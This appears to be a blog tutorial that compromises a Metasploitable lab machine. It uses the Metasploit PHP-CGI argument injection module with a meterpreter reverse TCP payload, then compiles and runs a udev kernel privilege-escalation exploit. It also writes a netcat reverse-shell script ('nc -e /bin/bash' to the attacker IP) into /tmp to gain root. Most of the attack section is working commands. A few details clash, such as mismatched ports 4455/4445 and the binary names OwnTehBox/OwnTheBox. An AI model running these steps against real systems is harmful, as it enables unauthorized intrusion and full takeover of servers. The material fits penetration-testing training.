Attack Apache – When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. This module takes advantage of the -d flag to set php.ini directives to achieve code execution. From the advisory: “if there is NO unescaped ‘=’ in the query string, the string is split on ‘+’ (encoded space) characters, urldecoded, passed to a function that escapes shell metacharacters (the “encoded in a system-defined manner” from the RFC) and then passes them to the CGI binary.” This module can also be used to exploit the plesk 0day disclosed by kingcope and exploited in the wild on June 2013.

Rapid 7

Today we will exploit a huge flaw on PHP 5.3

Scanning The Target with Nmap

Open the Metasploit console and execute the command bellow, we will scan the target host and try to discover the Operating System ( -O ) and in case of an Apache running with GCI and PHP we will grabe the PHP version (–script=http-php-version).

msf5 > db_nmap 172.16.74.129 -O --script=http-php-version
Attack Apache

After running the command we can validate the OS is Linux Kernel 2.6 running Apache with PHP 5.2.4

msf5 > search php_cgi
msf5 > use multi/http/php_cgi_arg_injection
msf5 exploit(multi/http/php_cgi_arg_injection) > set RHOSTS 172.16.74.129
msf5 exploit(multi/http/php_cgi_arg_injection) > options

Attack Apache and PHP

Attack Apache
msf5 exploit(multi/http/php_cgi_arg_injection) > show payloads
msf5 exploit(multi/http/php_cgi_arg_injection) > set payload php/meterpreter_reverse_tcp
msf5 exploit(multi/http/php_cgi_arg_injection) > set LHOST 172.16.74.128
msf5 exploit(multi/http/php_cgi_arg_injection) > exploit
Attack Apache
Exploit with Metasploit
meterpreter > sysinfo
meterpreter > getuid

As we can see we aren’t root but we are In! on this case we exploit PHP and is running as user www-data owned by Apache process not root- fuck! What we can do know?

Hack Apache Process

Linux Privileged Escalation

So we are in the target machine and running inside the Apache process own by www-data user and we need some writable space to download or upload our exploit to elevate privileges on the box. Usually /tmp

is writable for anyone let’s download and compile the exploit and then upload it.

Linux Kernel 2.6 (Gentoo / Ubuntu 8.10/9.04) UDEV < 1.4.1 – Local Privilege Escalation (2)

Attack Apache and PHP 5.3 - Metasploitable 1
Attack Apache and PHP 5.3 - Metasploitable 2
meterpreter > shell
Attack Apache and PHP 5.3 - Metasploitable 3
cd /tmp
gcc 8572.c -o OwnTehBox

Open a new terminal and start a new socket listening on port 4455 using netcat , when we execute the exploit the connection is made to our socket on Kali machine.

Attack Apache and PHP 5.3 - Metasploitable 4
Start Netcat Listening on Port 4455
[email protected]:~# netcat -vlp 4455

Back to the Metasploit shell and send the bash binary index to the temporary folder and pipe the Netcat command connection to /tmp/run, after run the exploit this is the first commands executed on the target machine.

echo '#!/bin/bash' > /tmp/run
echo '/bin/nc -e /bin/bash 172.16.74.128 4445' >> /tmp/run

Now we need to grab our socket process and subtract 1.

ps -eaf | grep udev | grep -v grep
2744
Pass the PID of the udevd netlink socket (listed in /proc/net/netlink, usually is the udevd PID minus 1) as argv[1].
./OwnTheBox 2743
Attack Apache and PHP 5.3 - Metasploitable 5
Let’s Own the Box
Attack Apache and PHP 5.3 - Metasploitable 6
After execute the exploit we got the reverse connection to our listing socket.

Now we are Root!

Just use your imagination after this point.

Top 5 Linux Privilege Escalation Exploits

https://www.php.net/

Attack Linux DistCC Daemon Command Execution Port 3632 – Metasploitable